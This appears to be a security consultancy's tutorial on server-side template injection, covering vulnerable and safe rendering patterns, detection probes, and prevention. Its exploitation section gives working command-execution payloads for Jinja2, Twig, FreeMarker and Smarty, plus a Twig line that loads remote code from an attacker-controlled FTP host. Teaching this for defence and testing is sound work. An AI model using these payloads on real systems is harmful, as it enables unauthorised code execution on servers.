Skip to content
Fast-turnaround security assessments available — 10+ years development & security experienceGet started
vulnerabilityCWE-1336OWASP A03:2021Typical severity: Critical

Server-Side Template Injection: From Template Engines to Code Execution

·11 min read

Server-Side Template Injection: From Template Engines to Code Execution

Template engines exist to keep presentation logic separate from application logic. Instead of building HTML strings through concatenation, developers write templates with placeholder syntax — {{ user.name }}, ${item.price}, <%= record.id %> — and the engine substitutes real values at render time. The result is cleaner code, consistent output formatting, and a clear boundary between what the application computes and what it displays.

That boundary is exactly what server-side template injection destroys.

SSTI occurs when user-supplied input reaches the template string itself, not just the data context passed to it. When the engine renders the template, it evaluates the injected syntax as code. The attacker is no longer providing data to a template — they are writing the template. And template engines are designed to execute code.

The Difference Between Safe and Vulnerable

Understanding SSTI requires understanding one distinction: the difference between passing user input as template data versus embedding user input in the template string.

The safe pattern:

python
# User input goes into the data context — template is static
template = env.get_template("welcome.html")
output = template.render(username=user_input)

The template file welcome.html contains:

Welcome, {{ username }}!

The engine substitutes the value of username from the context. Whatever user_input contains — including template syntax — is treated as a string value, not as executable template code. If user_input is {{ 7 * 7 }}, the output is Welcome, {{ 7 * 7 }}! — the literal string, not Welcome, 49!.

The vulnerable pattern:

python
# User input is embedded directly in the template string
template_string = f"Welcome, {user_input}!"
output = env.from_string(template_string).render()

Now the template string itself contains whatever the user submitted. If user_input is {{ 7 * 7 }}, the engine sees Welcome, {{ 7 * 7 }}! as the template and evaluates the expression. The output is Welcome, 49!.

This is the root cause of every SSTI vulnerability: user input treated as template code rather than template data.

How SSTI Arises in Real Applications

The vulnerable pattern appears in several common scenarios.

Custom notification and email templates. Applications that allow users or administrators to define their own message templates — onboarding emails, invoice formats, notification bodies — often store and render user-defined template strings. When the template engine renders these strings directly, any template syntax embedded by the author is executed.

Error messages rendered from user input. Some applications build error messages or confirmation strings using user-submitted values: f"Could not find {user_submitted_search_term} in our records." If this string is then passed to a template engine for rendering with other page components, the user input is evaluated as part of the template.

Dynamic report generation. Reporting systems that let users define custom column names, field formats, or output templates sometimes use a template engine to render the final output. If user-defined format strings are passed directly to the engine, they become template code.

URL or path parameters rendered into templates. Applications that read a parameter from a URL — a category name, a product slug, a language code — and embed it into a template string before rendering are vulnerable to SSTI through those parameters.

In each case, the developer intended for user input to produce dynamic output. The failure was not accounting for the template engine's expression evaluation capabilities.

Detection

Polyglot Probes

The first step in identifying SSTI is confirming that template syntax is being evaluated. Polyglot probes cover multiple engines simultaneously:

${{<%[%'"}}%\

This string contains syntax from Jinja2, FreeMarker, Smarty, and ERB. If the application throws an engine-specific error, the template engine is identified. If it renders normally, the input may be reflected as-is (no SSTI) or may need different syntax.

More targeted probes test mathematical evaluation:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

If any of these return 49 in the response, the corresponding template engine is evaluating the input. The rendered value 49 can only appear if the expression 7*7 was executed — there is no way to produce it through string reflection alone.

Distinguishing SSTI from XSS

An input like {{7*7}} that returns 49 confirms SSTI, not XSS. XSS would reflect the literal string {{7*7}} (or an HTML-encoded version of it) for a browser to parse. SSTI evaluates it on the server before sending any response.

A common confusion arises when an application reflects {{7*7}} literally — this could mean SSTI is absent, or it could mean the syntax is wrong for the engine in use. Testing multiple probe syntaxes eliminates ambiguity.

Blind Detection

Some applications render templates without reflecting output directly — confirmation pages, background processing, asynchronous jobs. Blind SSTI can be confirmed through:

  • Time delays: Expressions that cause the server to sleep for a measurable period
  • Out-of-band requests: DNS or HTTP callbacks to an attacker-controlled server triggered by a template expression that makes an outbound request
  • Error-based: Inputs crafted to cause engine-specific errors that appear in logs or monitoring

Exploitation by Template Engine

Jinja2 (Python)

Jinja2 is the most commonly exploited SSTI target. The attack chain traverses Python's object model to reach classes that can execute system commands.

Confirming Jinja2 evaluation:

{{7*'7'}}

In Jinja2, this produces 7777777 — a string repeated seven times. In Twig, the same expression would produce 49. This mathematical behavior distinguishes the two engines.

Escalating to code execution exploits Python's class hierarchy. Every string object in Python inherits from object, and object.__subclasses__() returns all currently loaded classes in the Python runtime. Some of those subclasses can execute commands:

{{ ''.__class__.__mro__[1].__subclasses__() }}

This returns a list of all loaded classes. The index of useful classes (like subprocess.Popen or os._wrap_close) varies depending on what the application has imported. Once the correct index is identified:

{{ ''.__class__.__mro__[1].__subclasses__()[<index>]('id', shell=True, stdout=-1).communicate() }}

The output of the id command appears in the rendered response.

A more direct path when config or request objects are available in the template context:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

This accesses the os module through the global namespace of the config object's __init__ method, then calls popen directly.

Twig (PHP)

Twig is the standard template engine in Symfony-based PHP applications. SSTI in Twig follows a different path because PHP's object model differs from Python's.

Confirming Twig:

{{7*'7'}}

In Twig, this produces 49 (numeric multiplication). This distinguishes it from Jinja2.

Twig provides access to the _self variable, which exposes engine internals:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

This registers PHP's exec function as a filter, then calls it with id as the argument. The output of the command appears as the filter's return value.

Alternatively, with Twig versions that expose the Environment object:

{{_self.env.setCache("ftp://attacker.com/exploit.php")}}{{_self.env.loadTemplate("exploit")}}

FreeMarker (Java)

FreeMarker is widely used in Java enterprise applications. Its template language includes a directive for executing arbitrary Java expressions:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

The Execute class in FreeMarker's utility package is designed for executing system commands. When accessible from templates, it provides direct command execution with a single directive.

Smarty (PHP)

Smarty's {php} tag executes raw PHP when available (older versions):

{php}echo `id`;{/php}

In newer Smarty versions where {php} is disabled, the {Smarty.template} variable and the fetch function can be abused to read arbitrary files:

{self::clearConfig()}

Sandbox bypass techniques vary by version and are documented in the engine's changelog.

Sandbox Escapes

Template engine developers are aware of SSTI risks. Most modern engines offer sandbox modes that restrict expression evaluation — blocking access to dangerous classes, limiting available functions, or preventing access to the underlying runtime's object model.

Sandboxes slow attackers but rarely stop them entirely. Common bypass techniques:

  • Class traversal through allowed objects: If the sandbox permits access to any Python object, the __class__ and __mro__ chains can still be traversed from that starting point
  • Attribute access through string construction: Building attribute names as strings to evade static blocklists (getattr(obj, '__'+'class__'))
  • Using built-in functions not explicitly blocked: The sandbox often allowlists specific names, but the full set of dangerous operations is large enough that something is usually omitted
  • Engine version differences: Sandbox implementations differ between engine versions; an older version may have known bypass techniques

Defense-in-depth means that even when a sandbox is present, the underlying vulnerability should be fixed — the sandbox is not a substitute for separating user input from template strings.

Prevention

Separate Templates from Data

The definitive fix: never construct template strings from user input. Templates live in code or files controlled by the application. User input is passed as a data context:

python
# Correct: template is static, data is dynamic
template = env.get_template("confirmation.html")
output = template.render(message=user_message, order_id=order.id)
python
# Wrong: user input becomes part of the template
template_string = f"Your message: {user_message}"
output = env.from_string(template_string).render()

This single rule eliminates SSTI entirely. If user input never reaches the template string, the engine cannot evaluate it as code.

Use Logic-Less Engines for User-Defined Templates

If the application has a legitimate requirement for user-defined templates — custom email formats, report layouts, notification text — use a logic-less template engine that has no expression evaluation capability.

Mustache is the canonical example. Mustache templates support variable substitution ({{variable}}) but contain no expression evaluation, no method calls, and no access to objects beyond the explicitly provided context. An attacker who injects Mustache syntax can only produce output based on the data context — they cannot traverse the runtime's object model.

Validate Template Syntax Before Storing

If user-defined templates using a full-featured engine are unavoidable, parse and validate the template before storing or executing it. Most engines expose a parse step that identifies syntax errors without executing code. A whitelist of permitted constructs — variable references, conditionals over the provided context — can be enforced by inspecting the parsed abstract syntax tree.

This approach is complex to implement correctly and should be treated as a last resort, not a first-line defense.

Run the Template Engine with Minimal Permissions

Apply the principle of least privilege to the process that renders templates. If the template engine runs in a container or isolated process with no access to sensitive files, environment variables, or network resources, a successful SSTI exploit has less to reach. This does not prevent code execution but limits what the attacker can do with it.

Enable Sandboxing as Defense-in-Depth

Enable the template engine's sandbox mode when available. This adds a layer of protection in case user input does reach a template string — but sandbox bypasses exist for every major engine, so this is a supplement to proper input handling, not a substitute for it.

Testing for SSTI

When assessing an application for SSTI:

  1. Identify reflection points — any location where user input appears in the rendered output
  2. Submit polyglot probes — test syntax from multiple engines and observe whether expressions are evaluated
  3. Identify the engine — use discriminating probes (like the 7*'7' test) to determine which engine is in use
  4. Map available objects — determine what context variables and built-ins are accessible in the template environment
  5. Attempt escalation — follow the appropriate exploit chain for the identified engine, escalating from expression evaluation to object access to command execution
  6. Test sandbox boundaries — if a sandbox is active, assess whether known bypass techniques apply

Key Takeaways

Server-side template injection is a consequence of a structural mistake: treating user input as code rather than data. The fix is architectural, not cosmetic.

  1. Templates must be static strings that the application controls — user input provides values to templates, not the templates themselves
  2. Every template engine with expression evaluation capability is a potential code execution pathway if user input reaches the template string
  3. Detection requires probing for engine-specific evaluation, not just looking for reflection
  4. Sandboxes and input validation are defense-in-depth measures — the root fix is separating template construction from user data
  5. The severity is Critical: successful exploitation gives an attacker code execution in the context of the web server process

Need your application tested for template injection? Get in touch.

Need your application tested?

We find these vulnerabilities in real applications every day. Get a comprehensive security assessment with detailed remediation.

Request an Assessment

Summary

Server-side template injection occurs when user-controlled input is concatenated directly into a template string rather than passed as a variable. The template engine evaluates the injected syntax as code, turning a text formatting feature into a remote code execution primitive.

Key Takeaways

  • 1Server-side template injection occurs when user input is embedded into the template string itself, not passed as a variable to a pre-written template
  • 2Template engines evaluate injected syntax as code, letting attackers execute arbitrary expressions and escalate to remote code execution
  • 3Detection uses polyglot probes that trigger engine-specific evaluation — a result of 49 from the input 7*7 confirms injection
  • 4Each template engine has a distinct exploit chain, but all SSTI vulnerabilities share the same root cause — conflating template construction with template rendering
  • 5Prevention requires strict separation of template logic from user data — user input must always be a rendering context variable, never part of the template string itself

Frequently Asked Questions

Server-side template injection (SSTI) occurs when user-controlled input is concatenated into a template string before it is rendered by a template engine. The engine evaluates the injected content as code rather than data. An attacker who controls template syntax can execute arbitrary expressions, access server-side objects, read files, and in most environments achieve full remote code execution.

Cross-site scripting injects content that executes in the victim's browser — the payload reaches the client side. Server-side template injection injects content that executes on the server — the payload reaches the application's runtime environment directly. XSS affects other users; SSTI affects the server itself. SSTI is rated Critical because it can lead to remote code execution, filesystem access, environment variable disclosure, and lateral movement within the hosting environment.

Detection starts with polyglot probes — inputs containing template syntax from multiple engines simultaneously. Submitting a string like {{7*7}} or ${7*7} and observing whether the output contains 49 (rather than the literal string) confirms that a template engine is evaluating the input. Error messages referencing an engine's internal classes or stack frames are also strong indicators. Blind injection can be confirmed through time delays or out-of-band callbacks triggered by the evaluated expression.

Any template engine is vulnerable if user input reaches the template string rather than the data context. Commonly exploited engines include Jinja2 and Mako in Python, Twig and Smarty in PHP, FreeMarker and Velocity in Java, and Pug and Nunjucks in Node.js. Each engine has distinct syntax and object access patterns, so exploitation chains differ, but the underlying vulnerability is identical across all of them.

Never construct template strings from user input. Templates should be static strings stored in code or files; user data should be passed as context variables when those templates are rendered. If dynamic templates are a legitimate requirement, use a logic-less engine that has no expression evaluation capabilities. Apply sandboxing as a defense-in-depth measure, but do not rely on it as the primary control — most sandboxes have known bypass paths.